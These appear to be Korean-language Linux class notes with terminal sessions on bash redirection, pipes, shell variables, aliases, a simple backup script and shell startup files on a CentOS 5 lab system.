export PS1='[\u@\h \w]\$ '
alias ls='ls --color=tty -h'
alias pps='ps -ef | head -1 ; ps -ef | grep $1'
alias vi='/usr/bin/vim'
alias grep='grep -i --color'

[참고] telnet 서비스 Open 방법
# chkconfig --list krb5-telnet
# chkconfig krb5-telnet on
# service xinetd restart 
# telnet localhost
user01 사용자 로그인
-> root 사용자는 로그인이 가능하지 않음
# vi /etc/securetty
......
pts/1
pts/2
.....
pts/11
-> root 사용자로 로그인이 가능한 상태

===============================복습===============================

diff/cmp CMD
 # diff --recursive dir1 dir2

sort CMD
 # CMD | sort -k 3
 # CMD | sort -k 3 -r

 # df -k  //내컴퓨터에서 보는거랑 같음
 # du -sk /var //특정폴더 용량
 # cd /var ; du -sk * | sort -ar | more
 # find / -size +5G -type f //특정폴더 용량큰 파일 확인

file CMD
 # cd /etc; file *

grep CMD
 # grep OPTIONS PATTERN file1
 OPTIONS: -l, -n, -i, -v, -w, --coloe
 PATTERN: *  .  root  root$  [abc]

 # cat /var/log/messages | egrep -i '(warn|err|crit|alert|emerg)'

find CMD
 # find / -name core -type f
 # find / -name core -type f -exec rm -f {} \;

gzip/gunzip CMD
bzip2/bunzip2 CMD
tar CMD
jar CMD
zip CMD

===============================강의===============================

쉘의 특성
 리다이렉션(Redirection)
  입력 리다이렉션(Redirection stdin)
   # mail -s "OK : linux2XX" admin@example.com < report.txt
  출력 리다이렉션(Redirection stdout)
   # ls -l > file.list
  에러 리다이렉션(Redirection stderr)
   # ls /var /nodir > file.log 2>&1

  # ./script.sh > script.log 2>&1
  # ./configure --prefix=/usr/local/apache > apache.log 2>&1
 파이프(Pipe)
  # CMD | more
  # CMD | grep xinetd

  [참고] CMD | tee file.log
  # while true
  do
   CMD | tee -a file.log
   sleep 2
  done
  # script -a /dev/null | tee /dev/pts2 | tee /dev/pts/3
 쉘 자체의 기능
  # set -o
  # set -o vi
  # set +o vi
 변수(Variable)
  변수의 종류
  - 지역변수(Local Variable)         # VAR=5
  - 환경변수(Environmental Variable) # export VAR=5
  - 특수변수(Special Variable) : $$, $?, $!, $1, $2, $3, ...
  변수 선언 방법
   # VAR=5 ; export VAR (# export VAR=5)
   # echo $VAR
   # unset VAR
  export 의미
  시스템 환경변수(system environment variable) set, env
   PS1, PS2
   PATH
   HISTIMEFORMAT
   HOME, PWD, LOGNAME, TERM, LANG, USER, UID
 쉘 메타캐릭터(Metacharacter)
  ''  ""  \  `` ;
 히스토리(History)
  ~/.bash_history
 앨리어스(Alias)
  # alias cp='cp -i'
  # alias cp
  # unalias cp
 환경파일
  /etc/profile
  $HOME/.bash_profile
  $HOME/.bashrc

프로세스 관리(Process Admin)
 프로세스 정보(/proc/PID)
  PID, PPID, Control Terminal, UID
 프로세스 관리1
  프로세스 실행
  프로세스 확인
  프로세스 종료

===============================실습===============================

pipe
커널버퍼(커널에 있는 임시적인 저장공간)

[참고] 명령어 비교
--------------------------+---------------------------
# ps -ef > file.log       | # ps -ef | grep inetd
# grep inetd file.log     |
--------------------------+---------------------------

ps > file.log > grep
ps > 커널버퍼 > grep

[EX] 출력 결과를 파일로 저장
# CMD > file.log
# CMD | tee file.log

[root@linux220 ~]# cd /test
[root@linux220 /test]# ls
[root@linux220 /test]# cal 2002 > file.log
[root@linux220 /test]# cat file.log
                               2002                               

         1월                    2월                    3월        
일 월 화 수 목 금 토   일 월 화 수 목 금 토   일 월 화 수 목 금 토
       1  2  3  4  5                   1  2                   1  2
 6  7  8  9 10 11 12    3  4  5  6  7  8  9    3  4  5  6  7  8  9
13 14 15 16 17 18 19   10 11 12 13 14 15 16   10 11 12 13 14 15 16
20 21 22 23 24 25 26   17 18 19 20 21 22 23   17 18 19 20 21 22 23
27 28 29 30 31         24 25 26 27 28         24 25 26 27 28 29 30
                                              31
         4월                    5월                    6월        
일 월 화 수 목 금 토   일 월 화 수 목 금 토   일 월 화 수 목 금 토
    1  2  3  4  5  6             1  2  3  4                      1
 7  8  9 10 11 12 13    5  6  7  8  9 10 11    2  3  4  5  6  7  8
14 15 16 17 18 19 20   12 13 14 15 16 17 18    9 10 11 12 13 14 15
21 22 23 24 25 26 27   19 20 21 22 23 24 25   16 17 18 19 20 21 22
28 29 30               26 27 28 29 30 31      23 24 25 26 27 28 29
                                              30
         7월                    8월                    9월        
일 월 화 수 목 금 토   일 월 화 수 목 금 토   일 월 화 수 목 금 토
    1  2  3  4  5  6                1  2  3    1  2  3  4  5  6  7
 7  8  9 10 11 12 13    4  5  6  7  8  9 10    8  9 10 11 12 13 14
14 15 16 17 18 19 20   11 12 13 14 15 16 17   15 16 17 18 19 20 21
21 22 23 24 25 26 27   18 19 20 21 22 23 24   22 23 24 25 26 27 28
28 29 30 31            25 26 27 28 29 30 31   29 30

        10월                   11월                   12월        
일 월 화 수 목 금 토   일 월 화 수 목 금 토   일 월 화 수 목 금 토
       1  2  3  4  5                   1  2    1  2  3  4  5  6  7
 6  7  8  9 10 11 12    3  4  5  6  7  8  9    8  9 10 11 12 13 14
13 14 15 16 17 18 19   10 11 12 13 14 15 16   15 16 17 18 19 20 21
20 21 22 23 24 25 26   17 18 19 20 21 22 23   22 23 24 25 26 27 28
27 28 29 30 31         24 25 26 27 28 29 30   29 30 31


[root@linux220 /test]# cal 2002 | tee file2.log
                               2002                               

         1월                    2월                    3월        
일 월 화 수 목 금 토   일 월 화 수 목 금 토   일 월 화 수 목 금 토
       1  2  3  4  5                   1  2                   1  2
 6  7  8  9 10 11 12    3  4  5  6  7  8  9    3  4  5  6  7  8  9
13 14 15 16 17 18 19   10 11 12 13 14 15 16   10 11 12 13 14 15 16
20 21 22 23 24 25 26   17 18 19 20 21 22 23   17 18 19 20 21 22 23
27 28 29 30 31         24 25 26 27 28         24 25 26 27 28 29 30
                                              31
         4월                    5월                    6월        
일 월 화 수 목 금 토   일 월 화 수 목 금 토   일 월 화 수 목 금 토
    1  2  3  4  5  6             1  2  3  4                      1
 7  8  9 10 11 12 13    5  6  7  8  9 10 11    2  3  4  5  6  7  8
14 15 16 17 18 19 20   12 13 14 15 16 17 18    9 10 11 12 13 14 15
21 22 23 24 25 26 27   19 20 21 22 23 24 25   16 17 18 19 20 21 22
28 29 30               26 27 28 29 30 31      23 24 25 26 27 28 29
                                              30
         7월                    8월                    9월        
일 월 화 수 목 금 토   일 월 화 수 목 금 토   일 월 화 수 목 금 토
    1  2  3  4  5  6                1  2  3    1  2  3  4  5  6  7
 7  8  9 10 11 12 13    4  5  6  7  8  9 10    8  9 10 11 12 13 14
14 15 16 17 18 19 20   11 12 13 14 15 16 17   15 16 17 18 19 20 21
21 22 23 24 25 26 27   18 19 20 21 22 23 24   22 23 24 25 26 27 28
28 29 30 31            25 26 27 28 29 30 31   29 30

        10월                   11월                   12월        
일 월 화 수 목 금 토   일 월 화 수 목 금 토   일 월 화 수 목 금 토
       1  2  3  4  5                   1  2    1  2  3  4  5  6  7
 6  7  8  9 10 11 12    3  4  5  6  7  8  9    8  9 10 11 12 13 14
13 14 15 16 17 18 19   10 11 12 13 14 15 16   15 16 17 18 19 20 21
20 21 22 23 24 25 26   17 18 19 20 21 22 23   22 23 24 25 26 27 28
27 28 29 30 31         24 25 26 27 28 29 30   29 30 31


[root@linux220 /test]# cat file2.log
                               2002                               

         1월                    2월                    3월        
일 월 화 수 목 금 토   일 월 화 수 목 금 토   일 월 화 수 목 금 토
       1  2  3  4  5                   1  2                   1  2
 6  7  8  9 10 11 12    3  4  5  6  7  8  9    3  4  5  6  7  8  9
13 14 15 16 17 18 19   10 11 12 13 14 15 16   10 11 12 13 14 15 16
20 21 22 23 24 25 26   17 18 19 20 21 22 23   17 18 19 20 21 22 23
27 28 29 30 31         24 25 26 27 28         24 25 26 27 28 29 30
                                              31
         4월                    5월                    6월        
일 월 화 수 목 금 토   일 월 화 수 목 금 토   일 월 화 수 목 금 토
    1  2  3  4  5  6             1  2  3  4                      1
 7  8  9 10 11 12 13    5  6  7  8  9 10 11    2  3  4  5  6  7  8
14 15 16 17 18 19 20   12 13 14 15 16 17 18    9 10 11 12 13 14 15
21 22 23 24 25 26 27   19 20 21 22 23 24 25   16 17 18 19 20 21 22
28 29 30               26 27 28 29 30 31      23 24 25 26 27 28 29
                                              30
         7월                    8월                    9월        
일 월 화 수 목 금 토   일 월 화 수 목 금 토   일 월 화 수 목 금 토
    1  2  3  4  5  6                1  2  3    1  2  3  4  5  6  7
 7  8  9 10 11 12 13    4  5  6  7  8  9 10    8  9 10 11 12 13 14
14 15 16 17 18 19 20   11 12 13 14 15 16 17   15 16 17 18 19 20 21
21 22 23 24 25 26 27   18 19 20 21 22 23 24   22 23 24 25 26 27 28
28 29 30 31            25 26 27 28 29 30 31   29 30

        10월                   11월                   12월        
일 월 화 수 목 금 토   일 월 화 수 목 금 토   일 월 화 수 목 금 토
       1  2  3  4  5                   1  2    1  2  3  4  5  6  7
 6  7  8  9 10 11 12    3  4  5  6  7  8  9    8  9 10 11 12 13 14
13 14 15 16 17 18 19   10 11 12 13 14 15 16   15 16 17 18 19 20 21
20 21 22 23 24 25 26   17 18 19 20 21 22 23   22 23 24 25 26 27 28
27 28 29 30 31         24 25 26 27 28 29 30   29 30 31


[EX1] 실시간 모니터링 하면서 파일로 내용을 저장
[root@linux220 /test]# service httpd restart
httpd 를 정지 중:                                          [실패]
httpd (을)를 시작 중:                                      [  OK  ]
# while true
> do
> ps -ef | grep httpd | wc -l | tee -a file.log (> w root >> file.log)
> sleep 2
> done

[root@linux220 /test]# while true
> do
> ps -ef | grep httpd | wc -l | tee -a file.log
> sleep 2
> done
10
10
10
10
10

[root@linux220 /test]# cat file.log
10
10
10
10
10


[EX2] 다른 터미널 창에서 입력하는 내용이 그대로 지정한 터미널 창으로 출력 되도록 설정
[참고] script CMD
# cd /test ; rm –rf /test/*
# script –a file.log
# ls
# date
# cal
# exit
# cat file.log


실습내용 그림1



bash 쉘의 기능
# set -o /* 쉘 자체의 기능 전체 목록 확인 */
# set -o vi /* 쉘 자체의 기능 중 vi 기능을 ON */
# set +o vi /* 쉘 자체의 기능 중 vi 기능을 OFF */

[root@linux220 ~]# telnet 172.16.9.252
Trying 172.16.9.252...
Connected to 172.16.9.252 (172.16.9.252).
Escape character is '^]'.

    linux252.example.com (Linux release 2.6.18-409.el5.centos.plusPAE #1 SMP Tue Mar 15 18:56:56 EDT 2016) (6)

login: root
Password:
Last login: Tue Apr 19 16:54:16 from 172.16.6.203
You have new mail.
[linux252@~]#  hostname
linux252.example.com
[linux252@~]#  id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[linux252@~]#  ps
  PID TTY          TIME CMD
 6290 pts/6    00:00:00 login.krb5
 6354 pts/6    00:00:00 bash
 6860 pts/6    00:00:00 ps

<Ctrl + D>

[linux252@~]#  logout
Connection closed by foreign host.


[root@linux220 ~]# telnet 172.16.9.252
Trying 172.16.9.252...
Connected to 172.16.9.252 (172.16.9.252).
Escape character is '^]'.

    linux252.example.com (Linux release 2.6.18-409.el5.centos.plusPAE #1 SMP Tue Mar 15 18:56:56 EDT 2016) (16)

login: root
Password:
Last login: Tue Apr 19 16:55:21 from 172.16.6.204
You have new mail.
[linux252@~]#  set -o | grep ignoreeof
ignoreeof          off
[linux252@~]#  set -o ignoreeof
[linux252@~]#  Use "logout" to leave the shell.
[linux252@~]#  exit
logout
Connection closed by foreign host.



<Tab> 파일이름 자동 완성 기능

[EX1] <TAB> 이용한 디렉토리 이동
# cd /etc/sysco<TAB>
# cd /etc/sysconfig/netw<TAB>
# cd /etc/sysconfig/network-s<TAB>

[EX2] 자동 완성 기능이 되지 않을때의 <TAB><TAB> 사용
# cd /etc/sys<TAB><TAB>
sysconfig/ sysctl.conf syslog.conf
# cd /etc/sysco<TAB> /* 다른 문자와 구별 할 수 있는 글자까지 적어주고 다시<Tab>을 누르면 완성 */
/etc/sysconfig

[root@linux220 ~]# cd /etc/sys
sysconfig/   sysctl.conf  syslog.conf

[EX3] <TAB> 이용한 명령어의 종류 확인
# ch[TAB][TAB]

[root@linux220 ~]# ch
chacl               check-binary-files  chown
chage               checkmodule         chpasswd
change_console      checkpolicy         chroot
charmap             chfn                chrt
chat                chgrp               chsh
chattr              chkconfig           chvt
chcat               chkfontpath        
chcon               chmod              
[root@linux220 ~]# ch

[root@linux220 ~]# system-config-
system-config-authentication     system-config-nfs
system-config-date               system-config-packages
system-config-display            system-config-printer
system-config-httpd              system-config-rootpassword
system-config-kdump              system-config-samba
system-config-keyboard           system-config-securitylevel
system-config-language           system-config-securitylevel-tui
system-config-lvm                system-config-services
system-config-network            system-config-soundcard
system-config-network-cmd        system-config-time
system-config-network-gui        system-config-users
system-config-network-tui       
[root@linux220 ~]# system-config-

[참고] redhat-config-* & system-config-*
RHEL 3.X(CentOS 3.X) : redhat-config-*
REEL 4.X(CentOS 4.X) : system-config-*



# set –o vi // 예전에 나온 쉘들은 tap이 없어서 편집기쓰듯 써야함
(ㄱ) 파일이름 자동 완성 기능(File name completion)
(ㄴ) 명령행 편집(Command Line Edit)
(ㄱ) 파일 이름 자동 완성 기능
# cd /etc/sysco[TAB]
# cd /etc/sysco[ESC][\]
(ㄴ) 명령행 편집
(이전 명령어를 되살려서 쓰는 경우)
# ↑↑↑↓↓↓
# [ESC][k][k][k][j][j][j]
(이전 명령어를 편집해서 사용하는 경우)
# find / -name core –type f
<CTRL + C>
# [ESC][k]
# find / -name file1 –type f
# cp /etc/service file1
# cp file1 file2
# cp file1 file3
# cp file1 file4
# cp file1 file5
(이전에 사용한 명령어를 확장해서 사용하는 경우)
# df –h
# df –h /
# df –h / | tail –1
# df –h / | tail –1 | awk '{print $5}'
# ps –ef | head
# ps –ef | head | sort –k 2
# ps –ef | head | sort –k 2 –n
# ps –ef | head | sort –k 2 –nr
(확인 + 명령어 수행 + 확인)
# chkconfig --list krb5-telnet
# chkconfig krb5-telnet on
# ↑↑



변수(Variable)
변수의 종류
- 지역변수(Local Variable) : # VAR=5
- 환경변수(Environment Variable) : # export VAR=5
- 특수변수(Special Variable) : $$, $?, $!, $0, $1, $#, $*, ....

(1) 지역변수 선언
변수 선언 방법(EX: bash)
# VAR=5 (# export VAR=5)
# export VAR
# echo $VAR (# print $VAR)
# unset VAR
지역 변수는 현재 사용하고 있는 쉘에만 적용되는 변수 값으로 선언 하는 것이다.
서브 쉘에서 지역 변수 값을 확인하려고 할 경우 값이 나타나지 않는다.

var=5                     echo $var (0)
----------+               +----------
          |               |
          | echo $var (X) |
          +---------------+

[root@linux220 ~]# var=5
[root@linux220 ~]# echo $var
5
[root@linux220 ~]# var=hello
[root@linux220 ~]# echo $var
hello
[root@linux220 ~]# bash
[root@linux220 ~]# echo $var

[root@linux220 ~]# exit
exit
[root@linux220 ~]# echo $var
hello


(2) 환경변수 선언
환경변수는 현재 쉘과 서브쉘에 변수를 모두 적용되는 변수 값으로 선언해 주는 것이다.
환경변수를 사용하는 이유는 이전쉘에서 선언한 변수 값을 서브쉘에서도 동일하게 적용하기 위한 것이다.

export var=hello          echo $var (0)
----------+               +----------
          |               |
          | echo $var (0) |
          +---------------+

[root@linux220 ~]# var=hello
[root@linux220 ~]# export var
[root@linux220 ~]# echo $var
hello
[root@linux220 ~]# bash
[root@linux220 ~]# echo $var
hello
[root@linux220 ~]# exit
exit
[root@linux220 ~]# echo $var
hello


export var=hello                          echo $var
----------+                               +----------
          |                               |
          | export var=centos             |
          +---------------+               |
                          |               |
                          | echo $var     |
                          +---------------+

[root@linux220 ~]# export var=hello
[root@linux220 ~]# echo $var
hello
[root@linux220 ~]# bash
[root@linux220 ~]# echo $var
hello
[root@linux220 ~]# export var=centos
[root@linux220 ~]# echo $var
centos
[root@linux220 ~]# bash
[root@linux220 ~]# echo $var
centos
[root@linux220 ~]# ps
  PID TTY          TIME CMD
16295 pts/1    00:00:00 bash
16355 pts/1    00:00:00 bash
16367 pts/1    00:00:00 bash
16379 pts/1    00:00:00 ps
[root@linux220 ~]# exit
exit
[root@linux220 ~]# exit
exit
[root@linux220 ~]# echo $var
hello


(결론) 환경 변수는 자신이 선언한 쉘의 서브쉘에서 적용되는 것이다. 상위의 쉘에는 적용되지 않는다.


[참고] env와 set의 차이점 (선언된 변수를 확인하는 명령어)
■ set : 모든 변수에 대해 출력 (지역변수 + 환경변수)
■ env : 환경변수만 출력

[root@linux220 ~]# var1=CentOS
[root@linux220 ~]# export var2=Linux
[root@linux220 ~]# set | grep var1
var1=CentOS
[root@linux220 ~]# set | grep var2
var2=Linux
[root@linux220 ~]# env | grep var1
[root@linux220 ~]# env | grep var2
var2=Linux


(3-1) 시스템 지역변수
i) PS1 명령어 프롬프트에 나타내는 시스템 환경 변수

# echo $PS1
[\u@\h \W]\$
[root@linux203 ~]#
PS1='[\u@\h \W]\$ '
-----------------------------------------------------------
\u : username
\h : hostname
\W : working directory (예: /home/user01 -> user01)
\w : working directory (예: /home/user01 -> /home/user01)
\$ : root(#), user01($)
-----------------------------------------------------------


[root@linux220 ~]# echo $PS1
[\u@\h \w]\$
[root@linux220 ~]# PS1='\w> '
~> cd /test
/test> cd
~> rm -rf /test/*
~> set | grep PS1
PS1='\w> '
~> bash
[root@linux220 ~]# PS1='[$PWD]# '
[/root]# bash
[root@linux220 ~]# export PS1='[\u@\w]# '
[root@~]# bash
[root@linux220 ~]# exit
exit
[root@~]# exit
exit
[/root]# tty
/dev/pts/1

[/root]# . ~/.bashrc //bashrc 설정파일 불러옴
[root@linux220 ~]#



ii) PS2 명령어가 아직 끝나지 않았음을 나타낼 때 사용

[root@linux220 ~]# PS2='> '
[root@linux220 ~]# echo $PS2
>
[root@linux220 ~]# ls -a -l
합계 224K
drwxr-x--- 20 root root 4.0K  4월 19 17:35 .
drwxr-xr-x 28 root root 4.0K  4월 19 16:12 ..
-rw-------  1 root root 1.5K  4월 19 16:12 .ICEauthority
생략

[root@linux220 ~]# ls -a \
> -l
합계 224K
drwxr-x--- 20 root root 4.0K  4월 19 17:35 .
drwxr-xr-x 28 root root 4.0K  4월 19 16:12 ..
-rw-------  1 root root 1.5K  4월 19 16:12 .ICEauthority
생략


[root@linux220 ~]# echo "hello linux
> "
hello linux

[root@linux220 ~]# while true //while~do~done
> do
> CMD
> sleep 5
> done
bash: CMD: command not found

PS1은 수정해서 쓰이지만 PS2는 수정해서 쓰지 않는편이다



(3-2) 시스템 환경변수

# echo $HOME
/root

# cd $HOME
# pwd
/root

# echo $PWD
/root

# echo $LOGNAME
root

# echo $TERM
xterm

# echo $LANG
ko_KR.UTF-8

# echo $USER
root

# echo $UID
0


(4) 알아두면 좋은 특수 변수

① $ : 현재쉘의 PID를 저장하고 있다. 쉘 스크립트내에서 임시 파일의 이름을 지정할 때 보통 사용이 된다.

[root@linux220 ~]# echo $$
16412
[root@linux220 ~]# ps
  PID TTY          TIME CMD
16295 pts/1    00:00:00 bash
16412 pts/1    00:00:00 bash
16500 pts/1    00:00:00 ps

② ? : 바로 이전 명령어의 정상 실행 여부에 대한 결과값이 들어 있다.
쉘 스크립트내에서 이전 명령어의 정상 수행 여부를 확인할 때 주로 사용된다.

[root@linux220 ~]# ls /nodir
ls: /nodir: 그런 파일이나 디렉토리가 없음
[root@linux220 ~]# echo $? //바로 이전 명령어의 리턴값을 확인
2
[root@linux220 ~]# cd /nodir
bash: cd: /nodir: 그런 파일이나 디렉토리가 없음
[root@linux220 ~]# echo $?
1
[root@linux220 ~]# no
bash: no: command not found
[root@linux220 ~]# echo $?
127
[root@linux220 ~]# ls
Desktop  anaconda-ks.cfg  install.log  install.log.syslog
[root@linux220 ~]# echo $? //0이면 정상수행 했다는 말
0

(실무 예) 백업 스크립트 작성시
# vi backup.sh
-------------------------------------------------------
tar cvzf /backup/backup.tar.gz /home
if [ $? -eq 0 ] ; then  /* -eq : equal */
 echo "success"
else
 echo "error"
fi
-------------------------------------------------------




[참고] /root/bin/script.sh 편하게 실행하기
■ 관리자가 생성한 쉘 스크립트(쉘 프로그램)들을 모아 놓은 디렉토리
- /root/bin or /root/shell


[root@linux220 /bin]# echo $PATH
/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin

PATH : 명령어들이 위치한 디렉토리를 선언할 때 사용하는 변수

# ls -al
(절대경로) # /bin/ls -al
(상대경로) # cd /bin
# ./ls -al



[root@linux220 ~]# mkdir -p /backup
[root@linux220 ~]# mkdir -p /root/bin
[root@linux220 ~]# vi /root/bin/backup.sh
---------------------------------------------------------------------
#!/bin/bash
tar cvzf /backup/back-`date +%m%d`.tar.gz --absolute-name /test
---------------------------------------------------------------------
[root@linux220 ~]# chmod 755 /root/bin/backup.sh
[root@linux220 ~]# export PATH=$PATH:/root/bin
[root@linux220 ~]# backup.sh
/test/
[root@linux220 ~]# cd /backup ; ls
back-0419.tar.gz



[root@linux220 /test]# vi script.sh
---------------------------------------------------------------------
#!/bin/bash

/root/bin/backup.sh
if [ $? -eq 0 ] ; then
        echo "Backup Success"
else
        echo "Backup Fail"
fi
---------------------------------------------------------------------
[root@linux220 /test]# chmod 755 /test/script.sh
[root@linux220 /test]# ./script.sh
/test/
/test/script.sh
Backup Success


[root@linux220 /test]# vi /root/bin/backup.sh
---------------------------------------------------------------------
#!/bin/bash
tar cvzf /backup/back-`date +%m%d`.tar.gz --absolute-name /nodir
---------------------------------------------------------------------
[root@linux220 /test]# ./script.sh
tar: /nodir: Cannot stat: 그런 파일이나 디렉토리가 없음
tar: Error exit delayed from previous errors
Backup Fail


[root@linux220 /test]# ./script.sh > backup.log 2>&1
[root@linux220 /test]# cat backup.log
tar: /nodir: Cannot stat: 그런 파일이나 디렉토리가 없음
tar: Error exit delayed from previous errors
Backup Fail


③ ! : 바로 이전에 백그라운드로 실행한 프로세스의 PID번호가 저장 된다.

[root@linux220 /test]# sleep 300 &
[1] 16613 //[1]: Job ID, 16613: PID
[root@linux220 /test]# echo $!
16613
[root@linux220 /test]# ps
  PID TTY          TIME CMD
16548 pts/1    00:00:00 bash
16613 pts/1    00:00:00 sleep
16616 pts/1    00:00:00 ps
[root@linux220 /test]# sleep 400 &
[2] 16617
[root@linux220 /test]# ps
  PID TTY          TIME CMD
16548 pts/1    00:00:00 bash
16613 pts/1    00:00:00 sleep
16617 pts/1    00:00:00 sleep
16618 pts/1    00:00:00 ps
[root@linux220 /test]# echo $!
16617


④ 인자변수(Argument Variable)

$로 표시하여 인자변수의 값이 몇 번째인지 나타낼 수 있다.

[root@linux220 /test]# vi test.sh
---------------------------------------------------------------------
#!/bin/bash

echo $1
echo $2
echo $3

echo $*
echo $#  //인자의 갯수
---------------------------------------------------------------------
[root@linux220 /test]# chmod 755 test.sh
[root@linux220 /test]# ./test.sh test1 test2 test3
test1
test2
test3
test1 test2 test3
3


[root@linux220 /test]# date
2016. 04. 19. (화) 19:31:48 KST
[root@linux220 /test]# set $(date)
[root@linux220 /test]# echo $1
2016.
[root@linux220 /test]# echo $2
04.
[root@linux220 /test]# echo $3
19.
[root@linux220 /test]# echo $4
(화)
[root@linux220 /test]# echo $5
19:32:01
[root@linux220 /test]# echo $6
KST


(5) PATH 변수
명령어를 검색할 디렉토리를 선언할 때 사용하여 절대 경로를 쓰지 않고
실행파일명만을 이용해서 사용할 수 있게한다.
which라는 명령도 PATH에 설정되어 있는 디렉토리의 파일의 경로만을 알려준다.

[root@linux220 ~]# script.sh
bash: script.sh: command not found
[root@linux220 ~]# /test/script.sh
tar: /nodir: Cannot stat: 그런 파일이나 디렉토리가 없음
tar: Error exit delayed from previous errors
Backup Fail
[root@linux220 ~]# cd /test ; ./script.sh
tar: /nodir: Cannot stat: 그런 파일이나 디렉토리가 없음
tar: Error exit delayed from previous errors
Backup Fail

[root@linux220 /test]# export PATH=$PATH:/test
[root@linux220 /test]# echo $PATH
/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:/test
[root@linux220 /test]# script.sh
tar: /nodir: Cannot stat: 그런 파일이나 디렉토리가 없음
tar: Error exit delayed from previous errors
Backup Fail


[root@linux220 /test]# vi ~/.bash_profile
[root@linux220 /test]# . ~/.bash_profile
[root@linux220 /test]# echo $PATH
/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:/test:/root/bin:/test



(6) HISTTIMEFORMAT 변수

■ 메타캐릭터(Metacharacter)
'', "", ``, \, ;
''(작은 따옴표(single quotation))
""(큰 따옴표(Double quotation))
``(역 따옴표(Back quotation))
\ (역 슬래쉬(Back slash))
; (세미콜론(Semicolon))

■ ''(작은 따옴표(single quotation))
쉘이 해석 할 수 없도록 막아 준다.

# echo $HOME
# echo '$HOME'

■ ""(큰 따옴표(Double quotation))
쉘이 해석 할 수 없도록 막아 준다. 단 인식되는 문자($, ``, \)들도 있다.

# echo $HOME
# echo "$HOME"
# echo "$HOME is my directory.????"

■ ``(역 따옴표(Back quotation))
쉘이 해석할 때 명령어로 인식한다. 따라서 역 따옴표 안의 내용을 실행한다.

# date
# echo `date` (# echo $(date))
# echo `hostname` (# echo $(hostname))
# echo "`hostname` is my hostname."

# touch server_`date +%m%d`.log
# tar cvzf /backup/home_`date +%m%d`.tar.gz /home
# while true
> do
> echo "------------`date`---------"
......
> sleep 2
> done

■ \ (역 슬래쉬(Back slash))
바로 이후에 있는 문자을 쉘이 해석 할 수 없도록 막아 준다.

# echo $HOME
# echo \$HOME (# echo '$HOME')
# find / -name core -type f -exec rm -f {} \;
# find / \( -perm -4000 -o -perm -2000 \) -type f

[참고] \(역 슬래쉬)
# \CMD
# CMD\ //다음줄에 이어서 대신 그 줄의 마지막이어야한다 뒤에 공백도 오면 안돼

# ./configure --prefix=/usr/local/apache2 --options2=.... --options3=.... .....
# ./configure —prefix=/usr/local/apache2 \
> --options2=.... \
> --options3=.... \
> --options4=....

■ ; (세미콜론(Semicolon))
한개의 라인에 여러개 명령어 수행할 때 사용한다.

# ls
# date
# cal

# ls ; date ; cal

# alias pps='ps -ef | head -1 ; ps -ef | grep $1’
# EDITOR=/usr/bin/vim ; export EDITOR (# export EDITOR=/usr/bin/vim)



history CMD

HISTSIZE  /* 히스토리를 기록하는 스택의 크기를 지정 */
HISTFILE  /* 히스토리 내용을 지속적으로 저장하는 파일 이름 지정 */
   /* 기본값: ~/.bash_history */
HISTFILESIZE  /* 히스토리파일의 크기 지정 */

# history | less /* 현재까지 사용한 스택에 들어간 명령이 출력 */

# history -c /* (clear) 현재까지 사용한 명령을 삭제 */



alias

별칭(Alias)
# alias cp=’cp –i’
# alias (# alias cp)
# unalias cp

# alias cp=’cp –i’
# alias mv=’mv –i’
# alias rm=’rm –i’

# alias vi=’/usr/bin/vim’
# alias pps=’ps –ef | head –1 ; ps –ef | $1’

[root@linux220 ~]# alias a='cd /test && rm -rf /test/*'
[root@linux220 ~]# alias b='cp /etc/passwd file1 ; cp file1 file2 ; cp file1 file3'
[root@linux220 ~]# a
[root@linux220 /test]# b
[root@linux220 /test]# ls
file1  file2  file3

(주의) alias 이름과 명령어 이름이 중복되는 경우
alias cp='cp -i'
/bin/cp

#cp file1 file2 (# cp -i file1 file2)

[root@linux220 /test]# alias cp='echo hello'
[root@linux220 /test]# alias cp
alias cp='echo hello'
[root@linux220 /test]# cp
hello



사용자 환경 파일(Bash Initialization)

(1) 환경 파일이 읽혀 지는 순서

(1-1) 로그인시에 읽혀 지는 환경 파일

■ /etc/profile
 ■ /etc/profile.d/*.sh

■ ~/.bash_profile (~/.bash_profile -> 파일이 없으면 -> ~/.bash_login -> 파일이 없으면 -> ~/.profile)
 ■ ~/.bashrc
  ■ /etc/bashrc

(1-2) 쉘이 실행 될때 마다 읽혀 지는 환경 파일

■ ~/.bashrc
 ■ /etc/bashrc
  ■ /etc/profile.d/*.sh

(1-3) 로그아웃 할 때 마다 읽혀 지는 환경 파일

■ ~/.bash_logout


(2) 사용자 환경 초기값 설정

(2-1) 관리자가 일반사용자의 환경을 설정 시켜 주는 경우

■ /etc/profile : 로그인 할 때만 읽혀짐
■ /etc/bashrc : 쉘이 실행 될때 마다 읽혀짐
■ /etc/profile.d/*.sh : 쉘이 실행 될때 마다 읽혀짐

(2-2) 일반 사용자가 자신의 환경을 설정 하는 경우

■ ~/.bash_profile : 로그인 할 때만 읽혀짐
■ ~/.bashrc : 쉘이 실행 될때 마다 읽혀짐


(3) 환경파일 분석
(3-1) /etc/profie 파일
# cat /etc/profile

(3-2) /etc/profile.d 디렉토리
# cd /etc/profile.d
# ls

(3-3) $HOME/.bash_profile 파일
# cat ~/.bash_profile

(3-4) $HOME/.bashrc 파일
# cat ~/.bashrc

(3-5) /etc/bashrc 파일
# cat /etc/bashrc

(3-6) $HOME/.bash_logout
# cat ~/.bash_logout

[EX] 사용자 환경 파일이 읽혀 지는 순서에 대한 실습

[root@linux220 ~]# vi /etc/profile
[root@linux220 /etc/profile.d]# vi ~/.bash_profile
[root@linux220 /etc/profile.d]# vi ~/.bashrc
[root@linux220 /etc/profile.d]# vi /etc/bashrc
[root@linux220 /etc/profile.d]# vi ~/.bash_logout


|---> ~/.bashrc read
|---> /etc/bashrc read
|---> /etc/profile.d/*.sh read
[root@linux220 ~]# telnet localhost
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

    linux220.example.com (Linux release 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010) (3)

login: root
Password:
Last login: Tue Apr 19 21:41:10 from localhost.localdomain
You have new mail.
|---> /etc/profile read
